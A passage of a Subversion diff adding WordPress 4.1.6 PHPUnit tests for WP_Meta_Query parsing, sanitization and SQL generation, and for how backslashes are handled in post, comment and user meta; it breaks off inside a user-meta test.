+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID' );
+
+		$this->assertEquals( 1, substr_count( $sql['join'], 'INNER JOIN' ) );
+
+		// also check mixing key and key => value
+
+		$query = new WP_Meta_Query( array(
+			array( 'key' => 'abc' ),
+			array( 'key' => 'def' ),
+			array( 'key' => 'ghi', 'value' => 'abc' ),
+			'relation' => 'OR'
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID' );
+
+		$this->assertEquals( 1, substr_count( $sql['join'], 'INNER JOIN' ) );
+	}
+
+	/**
+	 * WP_Query-style query must be at index 0 for order_by=meta_value to work.
+	 */
+	public function test_parse_query_vars_simple_query_index_0() {
+		$qv = array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo1',
+					'compare' => 'baz1',
+					'value' => 'bar1',
+				),
+			),
+			'meta_key' => 'foo',
+			'meta_compare' => 'bar',
+			'meta_value' => 'baz',
+		);
+
+		$query = new WP_Meta_Query();
+		$query->parse_query_vars( $qv );
+
+		$expected0 = array(
+			'key' => 'foo',
+			'compare' => 'bar',
+			'value' => 'baz',
+		);
+		$this->assertEquals( $expected0, $query->queries[0] );
+
+		$expected1 = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo1',
+				'compare' => 'baz1',
+				'value' => 'bar1',
+			),
+		);
+		$this->assertEquals( $expected1, $query->queries[1] );
+	}
+
+	/**
+	 * When no meta_value is provided, no 'value' should be set in the parsed queries.
+	 */
+	public function test_parse_query_vars_with_no_meta_value() {
+		$qv = array(
+			'meta_key' => 'foo',
+			'meta_type' => 'bar',
+			'meta_compare' => '=',
+		);
+
+		$query = new WP_Meta_Query();
+		$query->parse_query_vars( $qv );
+
+		$this->assertTrue( ! isset( $query->queries[0]['value'] ) );
+	}
+
+	/**
+	 * WP_Query sets meta_value to '' by default. It should be removed by parse_query_vars().
+	 */
+	public function test_parse_query_vars_with_default_meta_compare() {
+		$qv = array(
+			'meta_key' => 'foo',
+			'meta_type' => 'bar',
+			'meta_compare' => '=',
+			'meta_value' => '',
+		);
+
+		$query = new WP_Meta_Query();
+		$query->parse_query_vars( $qv );
+
+		$this->assertTrue( ! isset( $query->queries[0]['value'] ) );
+	}
+
+	/**
+	 * Test the conversion between "WP_Query" style meta args (meta_value=x&meta_key=y)
+	 * to a meta query array.
+	 */
+	public function test_parse_query_vars() {
+
+		$query = new WP_Meta_Query();
+
+		// just meta_value
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'abc',
+			),
+		);
+		$query->parse_query_vars( array(
+			'meta_key' => 'abc',
+		) );
+		$this->assertEquals( $expected, $query->queries );
+
+		// meta_key & meta_value
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'abc',
+				'value' => 'def',
+			),
+		);
+		$query->parse_query_vars( array(
+			'meta_key' => 'abc',
+			'meta_value' => 'def',
+		) );
+		$this->assertEquals( $expected, $query->queries );
+
+		// meta_compare
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'abc',
+				'compare' => '=>',
+			),
+		);
+		$query->parse_query_vars( array(
+			'meta_key' => 'abc',
+			'meta_compare' => '=>',
+		) );
+		$this->assertEquals( $expected, $query->queries );
+	}
+
+	/**
+	 * @ticket 23033
+	 */
+	public function test_get_cast_for_type() {
+		$query = new WP_Meta_Query();
+		$this->assertEquals( 'BINARY', $query->get_cast_for_type( 'BINARY' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'CHAR' ) );
+		$this->assertEquals( 'DATE', $query->get_cast_for_type( 'DATE' ) );
+		$this->assertEquals( 'DATETIME', $query->get_cast_for_type( 'DATETIME' ) );
+		$this->assertEquals( 'SIGNED', $query->get_cast_for_type( 'SIGNED' ) );
+		$this->assertEquals( 'UNSIGNED', $query->get_cast_for_type( 'UNSIGNED' ) );
+		$this->assertEquals( 'TIME', $query->get_cast_for_type( 'TIME' ) );
+		$this->assertEquals( 'SIGNED', $query->get_cast_for_type( 'NUMERIC' ) );
+		$this->assertEquals( 'NUMERIC(10)', $query->get_cast_for_type( 'NUMERIC(10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC( 10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC( 10 )' ) );
+		$this->assertEquals( 'NUMERIC(10, 5)', $query->get_cast_for_type( 'NUMERIC(10, 5)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC(10,  5)' ) );
+		$this->assertEquals( 'NUMERIC(10,5)', $query->get_cast_for_type( 'NUMERIC(10,5)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC( 10, 5 )' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC(10, 5 )' ) );
+		$this->assertEquals( 'DECIMAL', $query->get_cast_for_type( 'DECIMAL' ) );
+		$this->assertEquals( 'DECIMAL(10)', $query->get_cast_for_type( 'DECIMAL(10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL( 10 )' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL( 10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL(10 )' ) );
+		$this->assertEquals( 'DECIMAL(10, 5)', $query->get_cast_for_type( 'DECIMAL(10, 5)' ) );
+		$this->assertEquals( 'DECIMAL(10,5)', $query->get_cast_for_type( 'DECIMAL(10,5)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL(10,  5)' ) );
+
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type() );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'ANYTHING ELSE' ) );
+	}
+
+	public function test_sanitize_query_single_query() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_relation_default() {
+		$expected = array(
+			'relation' => 'AND',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_relation_or() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_relation_or_lowercase() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'or',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_invalid_relation() {
+		$expected = array(
+			'relation' => 'AND',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'FOO',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_single_query_which_is_a_nested_query() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			)
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_nested_queries() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			),
+			array(
+				'relation' => 'AND',
+				array(
+					'key' => 'foo3',
+					'value' => 'bar3',
+				),
+				array(
+					'key' => 'foo4',
+					'value' => 'bar4',
+				),
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'OR',
+			array(
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'key' => 'foo2',
+					'value' => 'bar2',
+				),
+			),
+			array(
+				array(
+					'key' => 'foo3',
+					'value' => 'bar3',
+				),
+				array(
+					'key' => 'foo4',
+					'value' => 'bar4',
+				),
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	/**
+	 * Invalid $type will fail to get a table from _get_meta_table()
+	 */
+	public function test_get_sql_invalid_type() {
+		$query = new WP_Meta_Query();
+		$this->assertFalse( $query->get_sql( 'foo', 'foo', 'foo' ) );
+	}
+
+	/**
+	 * @ticket 22096
+	 */
+	public function test_empty_value_sql() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query();
+
+		$the_complex_query['meta_query'] = array(
+			array( 'key' => 'my_first_key', 'value' => 'my_amazing_value' ),
+			array( 'key' => 'my_second_key', 'compare' => 'NOT EXISTS' ),
+			array( 'key' => 'my_third_key', 'value' => array( ), 'compare' => 'IN' ),
+		);
+
+		$query->parse_query_vars( $the_complex_query );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertEquals( 3, substr_count( $sql['join'], 'JOIN' ) );
+	}
+
+	/**
+	 * @ticket 22967
+	 */
+	public function test_null_value_sql() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array( 'key' => 'abc', 'value' => null, 'compare' => '=' )
+		) );
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertEquals( 1, substr_count( $sql['where'], "CAST($wpdb->postmeta.meta_value AS CHAR) = ''" ) );
+	}
+
+	/**
+	 * "key only queries" are queries that don't need to match a value, so
+	 * they can be grouped together into a single clause without JOINs
+	 */
+	public function test_get_sql_key_only_queries() {
+		global $wpdb;
+
+		$query1 = new WP_Meta_Query( array(
+			'relation' => 'OR',
+
+			// Empty 'compare'
+			array(
+				'key' => 'foo',
+			),
+
+			// Non-empty 'compare'
+			array(
+				'key' => 'bar',
+				'compare' => '<',
+			),
+
+			// NOT EXISTS
+			array(
+				'key' => 'baz',
+				'compare' => 'NOT EXISTS',
+			),
+
+			// Has a value
+			array(
+				'key' => 'barry',
+				'value' => 'foo',
+			),
+
+			// Has no key
+			array(
+				'value' => 'bar',
+			),
+		) );
+
+		$sql = $query1->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// 'foo' and 'bar' should be queried against the non-aliased table
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'foo'" ) );
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'bar'" ) );
+
+		// NOT EXISTS compare queries are not key-only so should not be non-aliased
+		$this->assertSame( 0, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'baz'" ) );
+
+		// 'AND' queries don't have key-only queries
+		$query2 = new WP_Meta_Query( array(
+			'relation' => 'AND',
+
+			// Empty 'compare'
+			array(
+				'key' => 'foo',
+			),
+
+			// Non-empty 'compare'
+			array(
+				'key' => 'bar',
+				'compare' => '<',
+			),
+		) );
+
+		$sql = $query2->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// Only 'foo' should be queried against the non-aliased table
+		$this->assertSame( 1, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'foo'" ) );
+		$this->assertSame( 0, substr_count( $sql['where'], "$wpdb->postmeta.meta_key = 'bar'" ) );
+	}
+
+	/**
+	 * Key-only and regular queries should have the key trimmed
+	 */
+	public function test_get_sql_trim_key() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => '  foo  ',
+			),
+			array(
+				'key' => '  bar  ',
+				'value' => 'value',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "meta_key = 'foo'" ) );
+		$this->assertSame( 1, substr_count( $sql['where'], "meta_key = 'bar'" ) );
+	}
+
+	public function test_convert_null_value_to_empty_string() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => null,
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "CAST($wpdb->postmeta.meta_value AS CHAR) = ''" ) );
+	}
+
+	public function test_get_sql_convert_lowercase_compare_to_uppercase() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+				'compare' => 'regExp',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "REGEXP" ) );
+	}
+
+	public function test_get_sql_empty_meta_compare_with_array_value() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => array( 'bar', 'baz' ),
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "CAST($wpdb->postmeta.meta_value AS CHAR) IN" ) );
+	}
+
+	public function test_get_sql_empty_meta_compare_with_non_array_value() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "CAST($wpdb->postmeta.meta_value AS CHAR) =" ) );
+	}
+
+	public function test_get_sql_invalid_meta_compare() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+				'compare' => 'INVALID COMPARE',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "CAST($wpdb->postmeta.meta_value AS CHAR) =" ) );
+	}
+
+	/**
+	 * This is the clause that ensures that empty arrays are not valid queries.
+	 */
+	public function test_get_sql_null_value_and_empty_key_should_not_have_table_join() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// There should be no JOIN against an aliased table.
+		$this->assertSame( 0, substr_count( $sql['join'], "AS mt" ) );
+	}
+
+	public function test_get_sql_compare_array_comma_separated_values() {
+		global $wpdb;
+
+		// Single value.
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => 'bar',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar')" ) );
+
+		// Multiple values, no spaces.
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => 'bar,baz',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar','baz')" ) );
+
+		// Multiple values, spaces.
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => 'bar,baz,   barry',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar','baz','barry')" ) );
+	}
+
+	public function test_get_sql_compare_array() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'compare' => 'IN',
+				'value' => array( 'bar', 'baz' ),
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "('bar','baz')" ) );
+	}
+
+	/**
+	 * Non-array values are trimmed. @todo Why?
+	 */
+	public function test_get_sql_trim_string_value() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => '  bar  ',
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		$this->assertSame( 1, substr_count( $sql['where'], "CAST($wpdb->postmeta.meta_value AS CHAR) = 'bar'" ) );
+	}
+
+	public function test_not_exists() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'exclude',
+				'compare' => 'NOT EXISTS'
+			),
+			array(
+				'key' => 'exclude',
+				'compare' => '!=',
+				'value' => '1'
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+		$this->assertNotContains( "{$wpdb->postmeta}.meta_key = 'exclude'\nOR", $sql['where'] );
+		$this->assertContains( "{$wpdb->postmeta}.post_id IS NULL", $sql['where'] );
+	}
+
+	public function test_empty_compare() {
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'exclude',
+				'compare' => ''
+			),
+			array(
+				'key' => 'exclude',
+				'compare' => '!=',
+				'value' => '1'
+			),
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+
+		// Use regex because we don't care about the whitespace before OR.
+		$this->assertRegExp( "/{$wpdb->postmeta}\.meta_key = \'exclude\'\s+OR/", $sql['where'] );
+		$this->assertNotContains( "{$wpdb->postmeta}.post_id IS NULL", $sql['where'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/meta/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/meta/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/meta/slashes.php	(revision 33402)
@@ -0,0 +1,276 @@
+<?php
+
+/**
+ * @group meta
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Meta_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		$this->post_id = $this->factory->post->create();
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_edit_post() {
+		$id = $this->factory->post->create();
+		if ( function_exists( 'wp_add_post_meta' ) ) {
+			$meta_1 = wp_add_post_meta( $id, 'slash_test_1', 'foo' );
+			$meta_2 = wp_add_post_meta( $id, 'slash_test_2', 'foo' );
+			$meta_3 = wp_add_post_meta( $id, 'slash_test_3', 'foo' );
+		}
+		else {
+			// expects slashed data
+			$meta_1 = add_post_meta( $id, 'slash_test_1', addslashes( 'foo' ) );
+			$meta_2 = add_post_meta( $id, 'slash_test_2', addslashes( 'foo' ) );
+			$meta_3 = add_post_meta( $id, 'slash_test_3', addslashes( 'foo' ) );
+		}
+
+		$_POST = array();
+		$_POST['post_ID'] = $id;
+		$_POST['metakeyselect'] = '#NONE#';
+		$_POST['metakeyinput'] = 'slash_test_0';
+		$_POST['metavalue'] = $this->slash_6;
+		$_POST['meta'] = array(
+			$meta_1 => array(
+				'key' => 'slash_test_1',
+				'value' => $this->slash_1
+			),
+			$meta_2 => array(
+				'key' => 'slash_test_2',
+				'value' => $this->slash_3
+			),
+			$meta_3 => array(
+				'key' => 'slash_test_3',
+				'value' => $this->slash_4
+			),
+		);
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		edit_post();
+		$post = get_post( $id );
+
+		$this->assertEquals( $this->slash_6, get_post_meta( $id, 'slash_test_0', true ) );
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+
+		$_POST = array();
+		$_POST['post_ID'] = $id;
+		$_POST['metakeyselect'] = '#NONE#';
+		$_POST['metakeyinput'] = 'slash_test_0';
+		$_POST['metavalue'] = $this->slash_7;
+		$_POST['meta'] = array(
+			$meta_1 => array(
+				'key' => 'slash_test_1',
+				'value' => $this->slash_2
+			),
+			$meta_2 => array(
+				'key' => 'slash_test_2',
+				'value' => $this->slash_4
+			),
+			$meta_3 => array(
+				'key' => 'slash_test_3',
+				'value' => $this->slash_5
+			),
+		);
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		edit_post();
+		$post = get_post( $id );
+
+		$this->assertEquals( $this->slash_2, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_5, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the legacy model function that expects slashed data
+	 *
+	 */
+	function test_add_post_meta() {
+		$id = $this->factory->post->create();
+		add_post_meta( $id, 'slash_test_1', addslashes( $this->slash_1 ) );
+		add_post_meta( $id, 'slash_test_2', addslashes( $this->slash_3 ) );
+		add_post_meta( $id, 'slash_test_3', addslashes( $this->slash_4 ) );
+
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the legacy model function that expects slashed data
+	 *
+	 */
+	function test_update_post_meta() {
+		$id = $this->factory->post->create();
+		update_post_meta( $id, 'slash_test_1', addslashes( $this->slash_1 ) );
+		update_post_meta( $id, 'slash_test_2', addslashes( $this->slash_3 ) );
+		update_post_meta( $id, 'slash_test_3', addslashes( $this->slash_4 ) );
+
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects un-slashed data
+	 *
+	 */
+	function test_wp_add_post_meta() {
+		if ( !function_exists( 'wp_add_post_meta' ) ) {
+			return;
+		}
+		$id = $this->factory->post->create();
+		wp_add_post_meta( $id, 'slash_test_1', $this->slash_1 );
+		wp_add_post_meta( $id, 'slash_test_2', $this->slash_3 );
+		wp_add_post_meta( $id, 'slash_test_3', $this->slash_4 );
+
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects un-slashed data
+	 *
+	 */
+	function test_wp_update_post_meta() {
+		if ( !function_exists( 'wp_update_post_meta' ) ) {
+			return;
+		}
+		$id = $this->factory->post->create();
+		wp_update_post_meta( $id, 'slash_test_1', $this->slash_1 );
+		wp_update_post_meta( $id, 'slash_test_2', $this->slash_3 );
+		wp_update_post_meta( $id, 'slash_test_3', $this->slash_4 );
+
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_add_comment_meta() {
+		$id = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+
+		add_comment_meta( $id, 'slash_test_1', $this->slash_1 );
+		add_comment_meta( $id, 'slash_test_2', $this->slash_3 );
+		add_comment_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_comment_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_comment_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_comment_meta( $id, 'slash_test_3', true ) );
+
+		add_comment_meta( $id, 'slash_test_4', $this->slash_2 );
+		add_comment_meta( $id, 'slash_test_5', $this->slash_4 );
+		add_comment_meta( $id, 'slash_test_6', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_comment_meta( $id, 'slash_test_4', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_comment_meta( $id, 'slash_test_5', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_comment_meta( $id, 'slash_test_6', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_update_comment_meta() {
+		$id = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+
+		add_comment_meta( $id, 'slash_test_1', 'foo' );
+		add_comment_meta( $id, 'slash_test_2', 'foo' );
+		add_comment_meta( $id, 'slash_test_3', 'foo' );
+
+		update_comment_meta( $id, 'slash_test_1', $this->slash_1 );
+		update_comment_meta( $id, 'slash_test_2', $this->slash_3 );
+		update_comment_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_comment_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_comment_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_comment_meta( $id, 'slash_test_3', true ) );
+
+		update_comment_meta( $id, 'slash_test_1', $this->slash_2 );
+		update_comment_meta( $id, 'slash_test_2', $this->slash_4 );
+		update_comment_meta( $id, 'slash_test_3', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_comment_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_comment_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_comment_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_add_user_meta() {
+		$id = $this->factory->user->create();
+
+		add_user_meta( $id, 'slash_test_1', $this->slash_1 );
+		add_user_meta( $id, 'slash_test_2', $this->slash_3 );
+		add_user_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_user_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_user_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_user_meta( $id, 'slash_test_3', true ) );
+
+		add_user_meta( $id, 'slash_test_4', $this->slash_2 );
+		add_user_meta( $id, 'slash_test_5', $this->slash_4 );
+		add_user_meta( $id, 'slash_test_6', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_user_meta( $id, 'slash_test_4', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_user_meta( $id, 'slash_test_5', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_user_meta( $id, 'slash_test_6', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_update_user_meta() {
+		$id = $this->factory->user->create();
+
+		add_user_meta( $id, 'slash_test_1', 'foo' );
+		add_user_meta( $id, 'slash_test_2', 'foo' );
+		add_user_meta( $id, 'slash_test_3', 'foo' );
+
+		update_user_meta( $id, 'slash_test_1', $this->slash_1 );
+		update_user_meta( $id, 'slash_test_2', $this->slash_3 );
+		update_user_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_user_meta( $id, 'slash_test_1', true ) );
